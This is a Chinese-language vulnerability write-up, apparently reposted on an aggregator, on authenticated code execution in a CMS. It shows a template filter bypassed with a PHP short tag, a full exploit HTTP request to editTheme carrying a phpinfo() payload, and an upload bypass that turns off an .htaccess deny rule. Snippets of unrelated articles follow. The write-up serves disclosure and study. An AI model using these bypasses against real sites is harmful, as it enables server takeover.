网络安全之某cms的漏洞分析

漏洞描述

该漏洞源于Appcenter.php存在限制,但攻击者仍然可以通过绕过这些限制并以某种方式编写代码,使得经过身份验证的攻击者可以利用该漏洞执行任意命令

漏洞分析

绕过编辑模板限制,从而实现RCE

这里可以修改模板文件,但是不能修改为php文件,可以修改html文件
看看主页是如何识别模板的
随便看一个show方法

public function show(){// 栏目ID$catId = $this->request->param('catid','', 'intval');// 栏目英文$list = $this->request->param('catname','');// 父级栏目$catdir = $this->request->param('catdir','');// 文章ID、或者别名$id = $this->request->param('id', '', '');// 模型$model = $this->request->param('model', 0);$key = $this->request->param('key','');if (!is_numeric($catId) && empty($list) && !empty($catdir)) {$catId = $catdir;} else if (!is_numeric($catId) && !empty($list) && empty($catdir)) {$catId = $list;} else if (!is_numeric($catId) && !empty($list) && !empty($catdir)) {$catId = $list;}if (empty($model) && !empty($catId)) {$cateInfo = (new Category)->getCateInfo($catId);if (empty($cateInfo)) {$this->error(lang('The page doesn\'t exist.'));}$model = Model::where(['id'=>$cateInfo['model_id'],'status'=>'normal'])->find();if (empty($model)) {$this->error(lang('Model doesn\'t exist.'));}} else {$model = Model::where(['status'=>'normal'])->where(function ($query) use ($model){$query->where(['diyname'=>$model])->whereOr(['tablename'=>$model]);})->cache(app()->isDebug()?false:'model')->find();if (empty($model)) {$this->error(lang('Model doesn\'t exist.'));}}// 文章ID、别名if (is_numeric($id)) {$where = ['id'=>$id];} else {$where = ['diyname'=>$id];}$archives = new Archives();if (!empty($key) && md5(app('session')->getId())==$key) { // 授权临时访问禁用的文章$info = $archives->with(['category','model'])->where($where)->append(['publish_time_text','fullurl'])->find();} else {$info = $archives->with(['category','model'])->where($where)->where(['status'=>'normal'])->append(['publish_time_text','fullurl'])->find();}if (empty($info)) {$this->error(lang('The document doesn\'t exist.'));}if (site('user_on') == 1 && isset($info['islogin']) && $info['islogin'] && !session('Member')) {$this->error(__('Please log in and operate'), (string)url('/user.user/login'));}$info = $info->moreInfo();$this->view->assign('__page__', $info['__page__']??null);// 父级栏目矫正if (!isset($cateInfo) || $cateInfo['id']!=$info['category_id']) {$cateInfo = (new Category)->getCateInfo($info['category_id']);}Db::name('archives')->where(['id'=>$info['id']])->inc('views')->update();$this->view->assign('Cate', $cateInfo);$this->view->assign('Info', $info);// seo 模型固定的默认字段 keywords description$seo_title = empty($info['seotitle'])?$info['title']:$info['seotitle'];$seo_title = str_replace(['$title','$name','$site'], [$seo_title,$cateInfo['title'],site("title")], site('content_format'));$this->view->assign('seo_title', $seo_title);$this->view->assign('seo_keywords', isset($info['keywords'])?$info['keywords']:$cateInfo['seo_keywords']);$this->view->assign('seo_desc', isset($info['description'])?$info['description']:$cateInfo['seo_desc']);$template = explode(".", $info['show_tpl'], 2);return $this->view->fetch('show/'.$template[0]);}

重点是最后的fetch函数,打个断点,调试一下发现,如果点进一个具体的商品界面渲染的是show_product.html

继续跟进fetch函数

public function fetch(string $template = '', array $vars = []): string{return $this->getContent(function () use ($vars, $template) {$this->engine()->fetch($template, array_merge($this->data, $vars));});}

跟进fetch函数

public function fetch(string $template, array $vars = []): void{if ($vars) {$this->data = array_merge($this->data, $vars);}if (!empty($this->config['cache_id']) && $this->config['display_cache'] && $this->cache) {// 读取渲染缓存if ($this->cache->has($this->config['cache_id'])) {echo $this->cache->get($this->config['cache_id']);return;}}$template = $this->parseTemplateFile($template);if ($template) {$cacheFile = $this->config['cache_path'] . $this->config['cache_prefix'] . md5($this->config['layout_on'] . $this->config['layout_name'] . $template) . '.' . ltrim($this->config['cache_suffix'], '.');if (!$this->checkCache($cacheFile)) {// 缓存无效 重新模板编译$content = file_get_contents($template);$this->compiler($content, $cacheFile);}// 页面缓存ob_start();if (PHP_VERSION > 8.0) {ob_implicit_flush(false);} else {ob_implicit_flush(0);}// 读取编译存储$this->storage->read($cacheFile, $this->data);// 获取并清空缓存$content = ob_get_clean();if (!empty($this->config['cache_id']) && $this->config['display_cache'] && $this->cache) {// 缓存页面输出$this->cache->set($this->config['cache_id'], $content, $this->config['cache_time']);}echo $content;}}

发现只要我们修改了模板文件,就会重新缓存,触发file_get_contents函数,所以我们现在只要将模板文件内容修改为php代码,就可以实现RCE
看看修改模板文件的代码

public function editTheme(){$name = $this->request->param('name');// $module = $this->request->param('module'); 暂时只支持前台$type = $this->request->param('t');if (empty($name)) {$this->error(__('Parameter %s can not be empty',['name']));}if (!Validate::is($name, '/^[a-zA-Z][a-zA-Z0-9_]*$/')) {$this->error(__('Illegal request'));}// 修改文件if ($this->request->isPost()) {// 路径$path = $this->request->post('path','');$old_path = $this->request->post('old_path','');$path = !empty($path) ? str_replace(['.','//',"\\\\",'/','\\','\/'],'/', trim($path) . '/') : '/';$old_path = !empty($old_path) ? str_replace(['.','//',"\\\\",'/','\\','\/'],'/', trim($old_path) . '/') : '/';$fun = function ($path){if (empty($path) || $path=='/') {return false;}$pathArr = explode('/', rtrim(ltrim($path,'/'),'/'));foreach ($pathArr as $key=>$value) {if (!Validate::is($value, 'alphaDash')) {$this->error(__('Illegal request'));}}};$fun($path);$fun($old_path);// 文件名$filename = $this->request->post('filename');$filename = !empty($filename) ? basename(trim($filename)) : '';if (empty($filename)) {$this->error(__('Parameter %s can not be empty',['']));}$pathinfo = pathinfo($path.$filename);$tmp_filename = $pathinfo['filename'];// 旧文件名$old = $this->request->post('old','');$old = basename($old);if (!Validate::is($tmp_filename, '/^[A-Za-z0-9\-\_\.]+$/') || (!empty($old) && !Validate::is(pathinfo($old_path.$old)['filename'], '/^[A-Za-z0-9\-\_\.]+$/'))) {$this->error(__('Incorrect file name format'));}// 内容$content = $this->request->post('content','',null);list($root, $static) = Cloud::getInstance()->getTemplatePath();$root = $type=='tpl'?$root.$name:$static.$name;if (!preg_match('#^'.(str_replace('\\','/',$root.DIRECTORY_SEPARATOR)).'#i', str_replace('\\','/', $root.$pathinfo['dirname'].DIRECTORY_SEPARATOR.$pathinfo['basename']))) {$this->error(__('Permission denied'));}if (empty($pathinfo['extension']) || !in_array($pathinfo['extension'],['ini','html','json','js','css'])) {$this->error(__('Permission denied'));}if (!empty($content) && $pathinfo['extension']=='html') {// 限制html里面的php相关代码提交if (preg_match('#<([^?]*)\?php#i', $content) || (preg_match('#<\?#i', $content) && preg_match('#\?>#i', $content))|| preg_match('#\{php#i', $content)|| preg_match('#\{:phpinfo#i', $content)) {$this->error(__('Warning: The template has PHP syntax. For safety, please upload it after modifying it in the local editing tool'));}}$adapter = new \League\Flysystem\Local\LocalFilesystemAdapter($root.DIRECTORY_SEPARATOR);$filesystem = new \League\Flysystem\Filesystem($adapter);try {$file = $path.$pathinfo['basename'];if (!empty($old_path) && !empty($old)) { // 修改文件if (!$filesystem->fileExists($old_path.$old)) {throw new \Exception(__('%s not exist',[$old_path.$old]));}if ($old==$filename && $old_path==$path) {$filesystem->write($file, $content);} else if ($old!=$filename && $old_path==$path) {if ($filesystem->fileExists($file)) {throw new \Exception(__('%s existed',[$file]));}$filesystem->write($file, $content);$filesystem->delete($old_path.$old);} else {if ($filesystem->fileExists($file)) {throw new \Exception(__('%s existed',[$file]));}$filesystem->write($file, $content);$filesystem->delete($old_path.$old);}} else {if ($filesystem->fileExists($file)) {throw new \Exception(__('%s existed',[$file]));}// 新建$filesystem->write($file, $content);}} catch (\Exception $exception) {Log::error("修改模板文件异常:".$exception->getMessage());$this->error($exception->getMessage());}$this->success('','');}$langs = [];$langArr = [];$lf = request()->param('lf','');if ($type=='lang') {list($path, $static) = Cloud::getInstance()->getTemplatePath();$langDir = $static.$name.DIRECTORY_SEPARATOR.'lang'.DIRECTORY_SEPARATOR;$dataList = app()->make(LangService::class)->getListByModule('index');if (is_dir($langDir)) {foreach ($dataList as $value) {if (!is_file($langDir.$value['mark'].'.json')) {file_put_contents($langDir.$value['mark'].'.json', "{}");}$langs[] = $value['mark'].'.json';}}$langArr = !empty($langs) ? json_decode(file_get_contents($langDir.($lf && in_array($lf,$langs)?$lf:$langs[0])),true) : [];}$this->view->assign('name',$name);$this->view->assign('type',$type);$this->view->assign('langs',$langs);$this->view->assign('langArr',$langArr);$this->view->assign('curLf',$lf);$this->view->assign('template','/template/index/'.$name.'/');return $this->view->fetch();}

其中存在的过滤

if (!empty($content) && $pathinfo['extension']=='html') {// 限制html里面的php相关代码提交if (preg_match('#<([^?]*)\?php#i', $content) || (preg_match('#<\?#i', $content) && preg_match('#\?>#i', $content))|| preg_match('#\{php#i', $content)|| preg_match('#\{:phpinfo#i', $content)) {$this->error(__('Warning: The template has PHP syntax. For safety, please upload it after modifying it in the local editing tool'));}}

可以使用php短标签绕过

POST /admin.php/appcenter/editTheme.html HTTP/1.1
Host: 127.0.0.1
Sec-Fetch-Site: same-origin
Accept: application/json, text/javascript, */*; q=0.01
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
sec-ch-ua: "Not(A:Brand";v="99", "Google Chrome";v="133", "Chromium";v="133"
X-Requested-With: XMLHttpRequest
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Accept-Encoding: gzip, deflate, br, zstd
Accept-Language: zh-CN,zh;q=0.9
Cookie: admin_hkcms_lang=zh-cn; HKCMSSESSID=782e7fb254634e9af27235e16ab1dec1
sec-ch-ua-platform: "Windows"
sec-ch-ua-mobile: ?0
Content-Type: application/x-www-form-urlencoded
Content-Length: 34name=default&t=tpl&old=show_product.html&old_path=%2Fshow&path=%2Fshow&filename=show_product.html&content=%3C%3F%3D+phpinfo()%3B%0D%0A&__token__=dc7587409140c54150e9c3245c4503eb

然后就可以去对应的渲染的页面

http://127.0.0.1/index.php/index/show?id=62&catname=wc

调试一下

禁止目录穿越

成功绕过判断
随后就是write文件

文件上传漏洞

修改站点配置将上传的文件名都改为1.php

看看upload的代码

public function upload($files){$add = [];$infos = [];foreach ($files as $key=>$value) {$tmpExt = $value->getOriginalExtension();$sExt = explode(',',config('cms.script_ext'));if (in_array($tmpExt, $sExt)) {throw new UploadException(__('Do not allow uploading of script files'));}validate(['files' => [// 限制文件大小(单位b)'fileSize' => $this->config['file_size'],// 限制文件后缀,多个后缀以英文逗号分割'fileExt'  => $this->config['file_type']]],['files.fileSize' => __('File cannot exceed %s', [($this->config['file_size']/1024/1024).'MB']),'files.fileExt' => __('Unsupported file suffix'),])->check(['files'=>$value]);$name = $this->getFileName($value);$value->move(dirname(public_path().$name), $name);$fileInfo = new File(public_path().$name);$md5 = $fileInfo->md5();$size = $fileInfo->getsize();if (Validate::is($value->getOriginalMime(), '/^image\//') && $this->water(public_path().$name)) { // 生成水印成功后,获取新的路径$fileInfo = new File(public_path().$name);$name = $this->getFileName($fileInfo);$md5 = $fileInfo->md5();$size = $fileInfo->getsize();$fileInfo->move(dirname(public_path().$name), $name);}//$path = app()->filesystem->disk('public')->putFile('', $value, function ($file) use($name) {//    return str_replace('.'.$file->getOriginalExtension(), '', $name);//});//if (!$path) {//    throw new UploadException(__('File save failed'));//}$attr = Attachment::where(['path'=>$name,'storage'=>'local'])->find();if ($attr) {$attr = $attr->toArray();$attr['cdn_url'] = cdn_url($attr['path'], true);$infos[] = $attr;} else {$temp['title'] = Str::substr($value->getOriginalName(), 0, 40);$temp['md5'] = $md5;$temp['mime_type'] = $value->getOriginalMime();$temp['ext'] = $value->getOriginalExtension();$temp['size'] = $size;$temp['storage'] = $this->config['storage'];$temp['path'] = $name;$temp['user_type'] = $this->config['user_type'];$temp['user_id'] = $this->config['user_id']; // 后台用户$temp['cdn_url'] = cdn_url($name, true);$add[] = $temp;$infos[] = $temp;}}// 缩略图$this->thumb($infos);if (!empty($add)) {$bl = (new \app\admin\model\routine\Attachment)->saveAll($add);if (!$bl) {throw new UploadException(__('No rows added'));}}// 上传文件后的标签位hook('uploadAfter', $infos);return $infos;}

上传后的文件后缀以config为主

上传成功,但是访问时发现

这是因为在upload文件夹里有一个.htaccess文件

<FilesMatch \.(?i:html|php)$>Order allow,denyDeny from all
</FilesMatch>

意思是禁止访问所有 .html.php 文件,即 无论谁访问这些文件,都会被拒绝
于是将配置修改为

成功访问

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如若转载,请注明出处:http://www.pswp.cn/diannao/88236.shtml
繁体地址,请注明出处:http://hk.pswp.cn/diannao/88236.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Nginx-前端跨域解决方案!

1 Nginx 核心 Nginx 是一个开源的高性能 HTTP 和反向代理服务器&#xff0c;以轻量级、高并发处理能力和低资源消耗著称。除作为 Web 服务器外&#xff0c;还可充当邮件代理服务器和通用的 TCP/UDP 代理服务器&#xff0c;广泛应用于现代 Web 架构中。 在 Windows 系统中使用…

RedisVL 入门构建高效的 AI 向量搜索应用

一、前置条件 在开始之前&#xff0c;请确保&#xff1a; 已在 Python 环境中安装 redisvl。运行 Redis Stack 或 Redis Cloud 实例。 二、定义索引架构&#xff08;IndexSchema&#xff09; 索引架构&#xff08;IndexSchema&#xff09;用于定义 Redis 的索引配置和字段信…

基于ssm移动学习平台微信小程序源码数据库文档

摘 要 由于APP软件在开发以及运营上面所需成本较高&#xff0c;而用户手机需要安装各种APP软件&#xff0c;因此占用用户过多的手机存储空间&#xff0c;导致用户手机运行缓慢&#xff0c;体验度比较差&#xff0c;进而导致用户会卸载非必要的APP&#xff0c;倒逼管理者必须改…

【Python】Tkinter模块(巨详细)

专栏文章索引:Python 有问题可私聊:QQ:3375119339 本文内容系本人根据阅读的《Python GUI设计tkinter从入门到实践》所得,以自己的方式进行总结和表达。未经授权,禁止在任何平台上以任何形式复制或发布原始书籍的内容。如有侵权,请联系我删除。 目录 一、Tkinter与GUI …

【C++特殊工具与技术】局部类

在 C 的类体系中&#xff0c;除了全局类、嵌套类&#xff08;在类内部定义的类&#xff09;&#xff0c;还有一种特殊的存在 ——局部类&#xff08;Local Class&#xff09;。它像函数内部的 “封闭王国”&#xff0c;作用域严格限制在所属函数内&#xff0c;既拥有类的封装特…

《C#图解教程 第5版》深度推荐

《C#图解教程 第5版》深度推荐 在 C# 编程语言的浩瀚学习资源中&#xff0c;《C#图解教程 第5版》宛如一座灯塔&#xff0c;为开发者照亮前行之路。通过其详实的目录&#xff0c;我们能清晰窥见这本书在知识架构、学习引导上的匠心独运&#xff0c;无论是编程新手还是进阶开发者…

【Kubernetes】配置自定义的 kube-scheduler 调度规则

在最近一次 K8s 环境的维护中&#xff0c;发现多个 Pod 使用相同镜像时&#xff0c;调度到固定节点的问题导致集群节点资源分配不均的情况。 启用调度器的打分日志后发现这一现象是由 ImageLocality 打分策略所引起的&#xff08;所有的节点中&#xff0c;只有一个节点有运行该…

跟着AI学习C# Day21

&#x1f4c5; Day 21&#xff1a;动态类型与动态语言运行时&#xff08;Dynamic Types & DLR&#xff09; ✅ 学习目标&#xff1a; 理解什么是 dynamic 类型&#xff1b;掌握 dynamic 与 object 的区别&#xff1b;理解 DLR&#xff08;Dynamic Language Runtime&#…

leetcode-3085.成为K字符串需要删除的最小字符串数

题目描述 解题思路 这题不难想到需要统计每个字母的出现频率&#xff0c;一共有26个字母&#xff0c;故cnt数组有26维。我们可以枚举其中一种作为「删除操作结束后出现频率最低的字符」&#xff0c;将其设置为 c&#xff0c;那么所有频率小于 c 的字符都会被删除&#xff0c;所…

Android 中 解析 XML 文件的几种方式

在 Android 开发中,解析 XML 文件有多种方式,每种方式都有其特点和适用场景。常见的 XML 解析方式有 DOM 解析、SAX 解析 和 XmlPullParser 解析。 一、xml 文件及数据类 1、xml 文件 将测试用 book.xml 文件放在项目的 app/src/main/assets 目录下,文件内容如下:<lib…

python里的abc库是什么东西

Python 中的 ABC&#xff1a;为什么你需要抽象基类&#xff1f;告别“假鸭子”&#xff0c;拥抱真抽象&#xff01; 你是不是经常在 Python 项目中感到困惑&#xff1a;我定义了一个类&#xff0c;希望它能被其他类继承并实现某些特定功能&#xff0c;但又不想它被直接实例化&…

设计模式精讲 Day 9:装饰器模式(Decorator Pattern)

【设计模式精讲 Day 9】装饰器模式&#xff08;Decorator Pattern&#xff09; 文章内容 在软件开发中&#xff0c;灵活扩展功能是提升系统可维护性和可复用性的关键。装饰器模式作为一种结构型设计模式&#xff0c;为对象动态地添加职责&#xff0c;而无需通过继承来实现。它…

浏览器无法访问:Nginx下的基于域名的虚拟主机

检查步骤如下&#xff1a; 1、nginx -t &#xff0c;检查配置文件是否有语法错误 [root89 ~]# nginx -t nginx: the configuration file /opt/nginx/conf/nginx.conf syntax is ok nginx: configuration file /opt/nginx/conf/nginx.conf test is successful # 可以看到 配置…

【appium】6.appium遇到的问题

1.appium-python-client 修改版本1.5 为5.1.1,后执行python程序时&#xff0c;提示&#xff1a; raise TypeError( TypeError: missing 1 required keyword-only argument: options (instance of driver options.Options class) 你遇到的错误&#xff1a; TypeError: missing…

C++法则3:使用拷贝和交换的赋值运算符自动就是异常安全的,且能正确处理自赋值。

C法则3&#xff1a;使用拷贝和交换的赋值运算符自动就是异常安全的&#xff0c;且能正确处理自赋值。 这条法则强调了使用"拷贝和交换"(Copy-and-Swap)惯用法来实现赋值运算符()的优点&#xff1a; 关键点 异常安全&#xff1a;拷贝和交换方法天然提供了强异常安全…

纯血HarmonyOS5 打造小游戏实践:扫雷(附源文件)

鸿蒙扫雷游戏的核心架构设计 鸿蒙OS扫雷游戏采用了MVC&#xff08;模型-视图-控制器&#xff09;的架构思想&#xff0c;将游戏逻辑与UI展示分离&#xff0c;使得代码结构清晰且易于维护。整个游戏由以下几个核心部分构成&#xff1a; 数据模型设计 游戏的基础数据模型是Cel…

Linux C语言的opendir如何获取目录下的隐藏文件

在 Linux 文件系统中&#xff0c;所谓隐藏文件是文件名以 . 开头的文件&#xff08;例如 .bashrc、.git、.config 等&#xff09;。 在编程层面&#xff0c;opendir readdir 并不会自动排除隐藏文件。 只要你不在代码中手动过滤&#xff0c;readdir 会把目录下所有文件&#…

母线槽接头过热隐患难防?在线测温方案实时守护电力安全

近年来&#xff0c;由于各种设备对电力的大力需求&#xff0c;并有逐年增加的趋势&#xff0c;传统电路接线方式在施工时越来越力不从心。系统一旦定型&#xff0c;后续想要简化变更更是难上加难。母线槽方案因此兴起&#xff0c;凭借多点连接&#xff08;接头、插接头、插接箱…

Windows本地部署wordpress

一、下载wordpress 地址&#xff1a;Download – WordPress.org 下载后解压出来 二、下载小皮面板 地址&#xff1a;Windows版phpstudy下载 - 小皮面板(phpstudy) 下载后安装 三、打开小皮面板&#xff0c;安装对应内置应用 1、MySQL8&#xff08;注意要是8版本,卸载其他版本…

Android 性能优化

一、Android中检测性能工具 Profiler —— 使用Profiler的CPU分析功能。 Method Tracing ———— 通过该方法,我们可以记录应用运行过程中的方法调用情况,包括每个方法的执行时间、调用次数等。 Systrace 是Android平台提供的一款工具,用于记录短期内的设备活动。 Systra…